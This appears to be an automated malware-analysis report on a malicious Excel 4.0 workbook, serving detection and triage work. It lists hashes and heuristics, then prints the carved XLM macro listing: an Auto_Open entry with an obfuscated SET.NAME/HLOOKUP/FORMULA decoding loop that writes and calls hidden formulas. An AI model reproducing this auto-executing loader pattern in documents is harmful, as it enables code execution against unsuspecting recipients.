Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a5271d6e1142e219…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:38 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 2b2ebe5931bcfa784c4df29e1cf26650 SHA-1: f2dd34791776d4fc34227be7f481cfd93e82e50e SHA-256: a5271d6e1142e219424da01496fa8ad61098b8152ee08f8f63d4411a0c266496
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6680 bytes
SHA-256: 894941c288c0b95f657a74dac9bcb853ab33a49c88413fe93c38e9bebbcac6b1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WuKncnXVa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A183 
' 0018     25 LABEL : Cell Value, String Constant - BHKwFYKbgk len=0 
' 0018     25 LABEL : Cell Value, String Constant - CNtFviqvJF len=0 
' 0018     27 LABEL : Cell Value, String Constant - CrxtuZVfllVP len=0 
' 0018     22 LABEL : Cell Value, String Constant - fGJhklN len=0 
' 0018     20 LABEL : Cell Value, String Constant - GQYFG len=0 
' 0018     25 LABEL : Cell Value, String Constant - hfOlwqJuQp len=0 
' 0018     25 LABEL : Cell Value, String Constant - HzYojDXtGf len=0 
' 0018     25 LABEL : Cell Value, String Constant - JawPtOaQgG len=0 
' 0018     26 LABEL : Cell Value, String Constant - NiQmWmvtCiM len=0 
' 0018     24 LABEL : Cell Value, String Constant - ONXmHkQBL len=0 
' 0018     22 LABEL : Cell Value, String Constant - pmTgFdt len=0 
' 0018     26 LABEL : Cell Value, String Constant - psfJAUTZvyI len=0 
' 0018     26 LABEL : Cell Value, String Constant - qNGtileJCws len=0 
' 0018     23 LABEL : Cell Value, String Constant - qwjaYSGf len=0 
' 0018     22 LABEL : Cell Value, String Constant - renZZaK len=0 
' 0018     20 LABEL : Cell Value, String Constant - UczYA len=0 
' 0018     21 LABEL : Cell Value, String Constant - WUUkRP len=0 
' 0018     27 LABEL : Cell Value, String Constant - xqvekocKmkOX len=0 
' 0018     27 LABEL : Cell Value, String Constant - XzmSHbOCWRRH len=0 
' 0018     23 LABEL : Cell Value, String Constant - YFCUrYtR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WuKncnXVa,A85,"SET.NAME("ONXmHkQBL",VALUE("0"))",""
'  WuKncnXVa,A88,"SET.NAME("qwjaYSGf",ONXmHkQBL)",""
'  WuKncnXVa,A90,"SET.NAME("UczYA",ONXmHkQBL)",""
'  WuKncnXVa,A95,"SET.NAME("JawPtOaQgG",COUNTA(xqvekocKmkOX))",""
'  WuKncnXVa,A99,"SET.NAME("pmTgFdt",COUNTA(psfJAUTZvyI))",""
'  WuKncnXVa,A103,[],""
'  WuKncnXVa,A108,"SET.NAME("qNGtileJCws","")",""
'  WuKncnXVa,A113,"qwjaYSGf",""
'  WuKncnXVa,A117,"SET.NAME("hfOlwqJuQp",HLOOKUP("*",xqvekocKmkOX,qwjaYSGf,FALSE))",""
'  WuKncnXVa,A121,"XzmSHbOCWRRH",""
'  WuKncnXVa,A124,"SET.NAME("NiQmWmvtCiM",ONXmHkQBL)",""
'  WuKncnXVa,A128,[],""
'  WuKncnXVa,A130,"NiQmWmvtCiM",""
'  WuKncnXVa,A134,"HzYojDXtGf",""
'  WuKncnXVa,A138,"renZZaK",""
'  WuKncnXVa,A141,"CrxtuZVfllVP",""
'  WuKncnXVa,A146,"SET.NAME("fGJhklN",VALUE(HLOOKUP("*",psfJAUTZvyI,CrxtuZVfllVP,FALSE)))",""
'  WuKncnXVa,A148,"WUUkRP",""
'  WuKncnXVa,A153,"qNGtileJCws",""
'  WuKncnXVa,A156,"UczYA",""
'  WuKncnXVa,A161,NEXT(),""
'  WuKncnXVa,A166,"CNtFviqvJF",""
'  WuKncnXVa,A169,"SET.NAME("f",INT(T(FORMULA(T(qNGtileJCws)&"",""&T(CNtFviqvJF)))))",""
'  WuKncnXVa,A172,"BHKwFYKbgk",""
'  WuKncnXVa,A176,NEXT(),""
'  WuKncnXVa,A180,RETURN(),""
'  WuKncnXVa,A211,"SET.NAME("GQYFG",A85)",""
'  WuKncnXVa,A216,"xqvekocKmkOX",""
'  WuKncnXVa,A219,"SET.NAME("psfJAUTZvyI",R89C15)",""
'  WuKncnXVa,A221,"SET.NAME("BHKwFYKbgk",230)",""
'  WuKncnXVa,A226,"SET.NAME("YFCUrYtR",1)",""
'  WuKncnXVa,A229,GQYFG(),""
'  WuKncnXVa,A230,HALT(),""